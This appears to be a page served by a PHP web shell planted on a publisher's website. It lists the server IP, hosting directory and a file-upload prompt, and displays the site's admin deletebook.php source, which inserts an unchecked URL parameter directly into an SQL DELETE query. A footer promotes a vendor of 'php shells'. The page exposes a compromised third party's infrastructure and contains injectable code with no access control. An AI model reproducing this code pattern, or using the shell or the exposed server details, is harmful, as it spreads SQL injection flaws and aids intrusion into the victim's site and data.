Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/amberpublishers.in/public_html/admin/
Dosya Yükle :
Current File : //home/u866425823/domains/amberpublishers.in/public_html/admin/deletebook.php

<?php
 include 'include/db.php';
if (isset($_GET['id'])) {
    $bookId = $_GET['id'];

    // Perform the deletion query using $bookId
    $sql = "DELETE FROM book_details WHERE id = $bookId";
    $result =mysqli_query($conn, $sql);
    if ($result) {
        // Deletion successful
        echo "Book deleted successfully.";
    } else {
        // Deletion failed
        echo "Error deleting book: " . mysqli_error($conn);
    }

    // Redirect back to the original page after deletion
    header("Location: editbook.php");
    exit();
}
?>

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.